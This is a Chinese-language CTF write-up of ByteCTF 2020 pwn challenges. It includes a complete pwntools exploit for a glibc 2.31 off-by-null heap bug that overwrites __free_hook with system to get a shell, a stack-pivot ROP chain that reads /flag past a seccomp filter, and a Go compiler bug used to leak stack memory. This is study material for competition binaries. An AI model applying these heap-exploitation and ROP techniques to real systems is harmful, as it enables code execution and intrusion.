Bytectf2020pwn整理和复现
Time: 2020-10-29 Tags: binaryLink: Bytectf2020pwn整理和复现
这次比赛差一点就进线下了呜呜呜,wtcl。两道堆题都是做到一半就被cnitlrt师傅秒了,tql。剩下的golang pwn直接看自闭了呜呜呜。整理一下几道题的思路,学习一下。
easyheap
$ checksec easyheap
[*] '/root/work/easyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
$ file easyheap
easyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=028736f7d4457a774846fa739ea450bee2cfa5eb, for GNU/Linux 3.2.0, stripped
主要函数:add,里面有一个任意地址off-by-null。
unsigned __int64 add()
{
__int16 v1; // [rsp+8h] [rbp-18h]
__int16 v2; // [rsp+Ah] [rbp-16h]
int i; // [rsp+Ch] [rbp-14h]
void *s; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; i <= 7 && *(&unk_4060 + 4 * i); ++i )
;
if ( i <= 7 )
{
v2 = 0;
printf("Size: ");
__isoc99_scanf("%hd", &v1);
v2 = v1; //输入一个非法数进循环,然后就保留了下来
if ( v1 <= 0 || v1 > 128 )
{
do
{
do
{
puts("Invalid size.");
printf("Size: ", &v1);
__isoc99_scanf("%hd", &v1);
}
while ( v1 <= 0 );
}
while ( v1 > 0x80 );
}
else
{
v2 = v1;
}
s = malloc(v1);
if ( !s )
{
puts("Malloc error.");
exit(2);
}
memset(s, 0, v1);
printf("Content: ", 0LL);
myread(s, v1);
*(s + v2 - 1) = 0;
*(&unk_4060 + 4 * i) = v1;
chunklist[2 * i] = s;
puts("Finish.");
}
else
{
puts("Too many chunks.");
}
return __readfsqword(0x28u) ^ v5;
}
思路:tcache dup打size,free得到libc_base。再tcache dup,打__malloc_hook
。
wtcl,真的。等看到这个洞的时候题已经被cnitlrt师傅秒了。wtcl。
exp
交互
from pwn import *
from random import randint
a = process(["./easyheap"],env={"LD_PRELOAD":"./libc-2.31.so.9.1"})
libc = ELF("./libc-2.31.so.9.1")
#context.log_level = 'debug'
choo = lambda x:a.sendlineafter(">>",str(x))
size = lambda x:a.sendlineafter("Size:",str(x))
cont = lambda x:a.sendlineafter("Content:",x)
inde= lambda x:a.sendlineafter("Index:",str(x))
ia = lambda : a.interactive()
def add(sz,nm):
choo(1)
size(sz)
cont(nm)
def aadd(sz1,sz2,nm):
choo(1)
size(sz1)
size(sz2)
cont(nm)
def show(idx):
choo(2)
inde(idx)
def free(idx):
choo(3)
inde(idx)
先off-by-null改fd拿到size位置。
add(0x68, b"\x00" * 0x50+p64(0)+p64(0x91)+p64(0))#0
add(0x80,"\x00"*0x80)#1
add(0x60, "\x00" * 0x60)#2
free(2)
free(0)
aadd(-(0x16f),0x80,"\x00"*0x80)#0
add(0x68,b"\x00" * 0x50+p64(0)+p64(0x91)+p64(0))#2 0x91伪造overlapping chunk的size位置等会儿可以free
然后通过大量的malloc、free将next chunk设为合法。
从而拿到libc。
add(0x80,"a"*0x80)#3
add(0x80,"a"*0x80)#4
add(0x80,"a"*0x80)#5
add(0x80,"a"*0x80)#6
free(3)
add(0x78,"a"*0x78)#3
free(3)
add(0x48,"\n")
free(3)
add(0x28,"\n")
free(3)
add(0x38,"\n")
free(3)
add(0x18,"\n")
free(3)
add(0x68,p64(0)+p64(0x511)+b"\n")#3
free(1)
add(0x80,"\n")#1
add(0x80,"\n")#7
free(1)
add(0x68,"/bin/sh\x00")#1
show(0)
libc_base = u64(a.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-0x1ebbe0
log.info(f"{libc_base = :#x}")
再用overlapping的那个chunk打__free_hook
。
free(7)
free(3)
free(2)
add(0x80,p64(0)+p64(0x91)+p64(libc_base+libc.sym['__free_hook']))
add(0x80,'a')
add(0x80,p64(libc_base+libc.sym['system']))
free(1)
得到shell
gun
# file gun
gun: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=936c46e401068c3ca722e49ec2c8668a027e5374, for GNU/Linux 3.2.0, stripped
# checksec gun
[*] '/root/work/gun'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
libc2.31、开seccomp、开CET,恰💰三部曲。
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0010
0009: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
功能:
三个功能,一个是加一个堆块,一个是将一个堆块放入将要free的链表中,另一个是递归free链表中的chunk。
由于free之前先泄露内容,free之后用于free的指针没有清零,因此可以轻松地进行leak和double free。这里不再写这一步骤。
主要写一下double free得到__free_hook
之后要去干啥。
现在最清晰的思路就是开启setcontext+61
然后进行orw的ROP。但是当程序进入到setcontext+61
的时候发现rdx并不满足要求,程序会直接crash掉。因此我们需要换一种思路。
再一种思路就是先进行栈迁移,再ROP。(你要是想直接ROP,当我没说)这就涉及到一个问题,怎么进行栈迁移呢?
有一种叫PCOP的技术。与ROP和JOP类似,这种gadget是以一个call命令结尾的,能够利用这个进行一次任意地址的call。
如果执意要进行setcontext,我们的本意就不是进行任意地址调用,而是利用PCOP的前置参数传递来进行寄存器数值,从而使得setcontext不会crash掉。这个思路详情请见隔壁W&M Bytectf2020 Writeup。
然后说一下栈迁移的思路。有些PCOP的gadget长成这样: mov rdx, qword ptr [rdi + 8]; ...... ; call qword ptr [rdx + 0x20];
,像这样的gadget可以控制rdx,同时又可以call一次,而我们只要在[rdx+0x20]
放入0x000000000005e650: mov rsp, rdx; ret;
这个,就可以进行一次栈迁移。布置好ROP链,然后进行orw。
payload1 = p64(0) +p64(heap_base+0x7e0)+b"/flag\x00\x00\x00\n"
add(0x40,payload1)
payload2 = p64(rdi_ret)+p64(heap_base+0x7a0) + p64(rsi_ret2)+p64(0) + p64(gg) + p64(open_)
payload2 += p64(rdi_ret) + p64(3) + p64(rsi_ret) + p64(heap_base+0x7e0) + p64(rdx_ret) + p64(0x30)+p64(0) + p64(read)
payload2 += p64(rdi_ret) + p64(1) + p64(rsi_ret) + p64(heap_base+0x7e0) + p64(rdx_ret) + p64(0x30)+p64(0) + p64(write)
add(0xb0,payload2+b"\n")
load(12)
pause()
free(1)
free第一个堆块的时候会将堆地址给到rdi。然后会将[rdi + 8]
给rdx,在这个地方填入ROP链的地址然后在ROP链+0x20的位置填入mov rsp, rdx
的地址,等到ROP的时候通过pop将此gadget出链即可。
leak
从golang的github仓库里面找issue,找到一个编译器的bug github issue 40367
这个bug可以无限打印栈上的信息。
这么输入就行了
func hack() {
rates:=[]int32{1,2,3,4,5,6}
for star, rate := range rates {
if star+1 < 1 {
panic("")
}
println(star, string(rate-1))
}
}
输出类似这样:
0 ^@
1 ^A
2 ^B
3 ^C
4 ^D
5 ^E
6 �
7 ¿
8
9 ¿
10 �
11 �
12 f
13 �
14 l
15 �
16 a
17 �
18 g
19 �
20 {
21 �
22 }
23 �
24 ^@
25 �
26 ^@
27 �
28 ^@
29 �
30 ^@
31 �
32 ^@
33 �
34 ^@
35 �
36 ^@
37 �
总结
学了几个gadget,认识了几个带佬,没进线下,wtcl。